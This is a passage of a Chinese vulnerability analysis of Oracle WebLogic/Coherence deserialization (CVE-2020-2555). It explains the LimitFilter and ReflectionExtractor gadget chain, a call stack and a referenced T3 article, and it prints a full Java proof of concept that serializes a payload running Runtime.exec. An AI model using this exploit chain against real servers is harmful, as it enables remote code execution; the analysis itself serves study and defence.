Object.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IQAv-1675927397762&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6V1o-1675927397761&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            setInternalValue.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WYq4-1675927397764&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qtoX-1675927397763&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            setInternalValue.invoke(attributeHolder, sortedBag);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zhbs-1675927397766&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AHuM-1675927397765&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VP6X-1675927397768&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7b9L-1675927397767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2oBJ-1675927397770&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w8Pl-1675927397769&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            objectOutputStream.writeObject(attributeHolder);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iFAL-1675927397772&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OBSU-1675927397771&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9BSs-1675927397774&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bvDL-1675927397773&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RKFb-1675927397776&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hVa1-1675927397775&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rI7k-1675927397778&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yvcS-1675927397777&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pyxE-1675927397780&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uWmY-1675927397779&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKz3-1675927397782&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XDMf-1675927397781&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YrEI-1675927397784&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lhTk-1675927397783&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hkdg-1675927397786&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dkf-1675927397785&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TowR-1675927339948&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5778/WEBRESOURCE87a4289de36aad2fe21e24617fac584b&#34;,&#34;width&#34;:1770,&#34;height&#34;:212},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5778/WEBRESOURCE87a4289de36aad2fe21e24617fac584b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1770,&#34;height&#34;:212},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x5yH-1675927304262&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nmDb-1675927304261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oN5U-1675927570196&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5786/WEBRESOURCE0cbc62abd2becf7857426faef34791dd&#34;,&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5786/WEBRESOURCE0cbc62abd2becf7857426faef34791dd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zIIJ-1675754017082&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hVLK-1675754017081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dl6K-1676648305046&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9f4T-1676648305047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;依旧参考&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;c9ks-1676648446839&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/user/RoboTerh&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1nX-1676648446840&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RoboTerh&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eU0c-1676648446843&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;师傅的文章：&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;tjhF-1676648437171&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1785/#toc_cve-2017-3248&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFY6-1676648437170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1785/#toc_cve-2017-3248&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;klVM-1676648437172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PvDD-1676648450666&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TxqD-1676648450665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;关于前文中T3协议头部分存在一些问题，具体细则可参考su18《&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;okDr-1676648778290&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s/hftsZLh_Qp1IcS8z_aM7Xw&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g32p-1676648778289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic RMI 与 T3 初探&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;underline&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#0366d6&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cM1s-1676648778293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;》。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p><span style="font-weight: bold;font-size: 28px;">正文</span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2020-2555</span></p><p>影响范围：</p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 3.7.1.17</p></li></ul><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 12.1.3.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 12.2.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 12.2.1.4.0</p></li></ul><p>且JDK &gt; 8u76</p><p><span style="font-size: 22px;font-weight: bold;">漏洞分析</span></p><p> 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> String toString () {</span></code><code><span class="code-snippet_outer">    StringBuffer sb = new StringBuffer(<span class="code-snippet__string">&#34;LimitFilter: (&#34;</span>);</span></code><code><span class="code-snippet_outer">    sb.append(<span class="code-snippet__keyword">this</span>.m_filter).append(<span class="code-snippet__string">&#34; [pageSize=&#34;</span>).append(<span class="code-snippet__keyword">this</span>.m_cPageSize).append(<span class="code-snippet__string">&#34;, pageNum=&#34;</span>).append(<span class="code-snippet__keyword">this</span>.m_nPage);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.m_comparator instanceof ValueExtractor) {</span></code><code><span class="code-snippet_outer">        ValueExtractor extractor = (ValueExtractor)<span class="code-snippet__keyword">this</span>.m_comparator;</span></code><code><span class="code-snippet_outer">        sb.append(<span class="code-snippet__string">&#34;, top=&#34;</span>).append(extractor.extract(<span class="code-snippet__keyword">this</span>.m_oAnchorTop)).append(<span class="code-snippet__string">&#34;, bottom=&#34;</span>).append(extractor.extract(<span class="code-snippet__keyword">this</span>.m_oAnchorBottom));</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.m_comparator != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        sb.append(<span class="code-snippet__string">&#34;, comparator=&#34;</span>).append(<span class="code-snippet__keyword">this</span>.m_comparator);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    sb.append(<span class="code-snippet__string">&#34;])&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> sb.toString();</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>传入的对象若是继承自ValueExtractor类则会调用其extract方法：</p><p><img class="rich_pages wxw-img" style="width: 2178px;height: 1090px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=24b636b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMqAnfHHRnEb5Yg7h4qwT4khacnLGUXPiaOlw8TjSqicMHYIQuPtiakEGYQ%2F640%3Fwx_fmt%3Dpng"/></p><p>可利用的类不止一个，这里先看属于该cve的可利用类<span style="background-color: rgb(255, 255, 255);">com.tangosol.util.extractor.ReflectionExtractor#extract：</span></p><p><span style="background-color: rgb(255, 255, 255);">构造方法：</span></p><p><img style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e940a50a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMbiabcJKtycrAVgLibicTpX3UfnqKC5JHx1OsreHY1iam3bpttyUsLSF95g%2F640%3Fwx_fmt%3Dpng"/></p><p>反射获取类方法并invoke:</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0de0e2a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMBzpuCdLibNM7EnpnLK9paJdd6eKnibveZ3J5uavOnDFS8Fsr0OoB6GqA%2F640%3Fwx_fmt%3Dpng"/></p><p>可以通过ChainedExtractor#extract(类似CC的ChainedTransformer)来连续调用extract方法：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4cf8ed5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMmOoozYicQkMX7FWynoy0BAfgXLPibiaGu3uAnON0CD6Kwibo0VneoGqI1Q%2F640%3Fwx_fmt%3Dpng"/></p><p>而JDK &gt; 8u76后才会有toString用于触发:</p><p><img class="rich_pages wxw-img" style="width: 704px;height: 471px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7d999a94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMwHQicp0MlVfmCyr0zBmIbibZeythiccicZYFAkTusLTAM7gAafsicWUd46g%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 705px;height: 491px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=eb383ad8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMtWRNWpyBVO0OYw8YjTTo9MTwV6RQYLFZ7AawtjeZauHLOuvibWjniaKw%2F640%3Fwx_fmt%3Dpng"/></p><p>poc:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.ValueExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.ChainedExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.ReflectionExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.filter.LimitFilter;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.weblogcVul.CVE_2016_3510;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.corba.utils.MarshalledObject;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.management.BadAttributeValueExpException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ByteArrayOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ObjectOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> CVE_2020_2555 {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 创建第一个Extractor Runtime.getMethod(&#34;getRuntime&#34;)</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor1 = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;getMethod&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__string">&#34;getRuntime&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>]});</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 第二个Extractor getRuntime.invoke()</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor2 = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;invoke&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__literal">null</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[<span class="code-snippet__number">0</span>]});</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 第三个Extractor invoke(exec, &#34;id&#34;)</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor3  = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;exec&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__string">&#34;touch /tmp/success123.txt&#34;</span>});</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(&#34;exec&#34;, new Object[]{new String[]{&#34;calc&#34;}});</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ChainedExtractor chainedExtractor = <span class="code-snippet__keyword">new</span> ChainedExtractor(<span class="code-snippet__keyword">new</span> ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        LimitFilter limitFilter = <span class="code-snippet__keyword">new</span> LimitFilter();</span></code><code><span class="code-snippet_outer">        limitFilter.setComparator(chainedExtractor);</span></code><code><span class="code-snippet_outer">        limitFilter.setTopAnchor(Runtime.class);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        BadAttributeValueExpException badAttributeValueExpException = <span class="code-snippet__keyword">new</span> BadAttributeValueExpException(<span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            Field field = badAttributeValueExpException.getClass().getDeclaredField(<span class="code-snippet__string">&#34;val&#34;</span>);</span></code><code><span class="code-snippet_outer">            field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            field.set(badAttributeValueExpException, limitFilter);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream fout = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream objectOutputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(badAttributeValueExpException);</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" style="width: 1898px;height: 218px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8f55c9bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMicRVf42vytnOVwSMN08VW1EXHd4vw2tUEKrFqZot2vKHqM34UK8L5xQ%2F640%3Fwx_fmt%3Dpng"/></p><p>调用栈如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">extract</span><span class="code-snippet__selector-pseudo">:116</span>, <span class="code-snippet__selector-tag">ReflectionExtractor</span> (<span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.extractor</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">extract</span><span class="code-snippet__selector-pseudo">:105</span>, <span class="code-snippet__selector-tag">ChainedExtractor</span> (<span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.extractor</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">toString</span><span class="code-snippet__selector-pseudo">:599</span>, <span class="code-snippet__selector-tag">LimitFilter</span> (<span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.filter</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:86</span>, <span class="code-snippet__selector-tag">BadAttributeValueExpException</span> (<span class="code-snippet__selector-tag">javax</span><span class="code-snippet__selector-class">.management</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke0</span><span class="code-snippet__selector-pseudo">:-1</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:62</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">DelegatingMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">Method</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.lang</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invokeReadObject</span><span class="code-snippet__selector-pseudo">:1058</span>, <span class="code-snippet__selector-tag">ObjectStreamClass</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readSerialData</span><span class="code-snippet__selector-pseudo">:2122</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readOrdinaryObject</span><span class="code-snippet__selector-pseudo">:2013</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject0</span><span class="code-snippet__selector-pseudo">:1535</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:422</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:73</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">read</span><span class="code-snippet__selector-pseudo">:45</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readMsgAbbrevs</span><span class="code-snippet__selector-pseudo">:325</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">init</span><span class="code-snippet__selector-pseudo">:219</span>, <span class="code-snippet__selector-tag">MsgAbbrevInputStream</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:557</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span 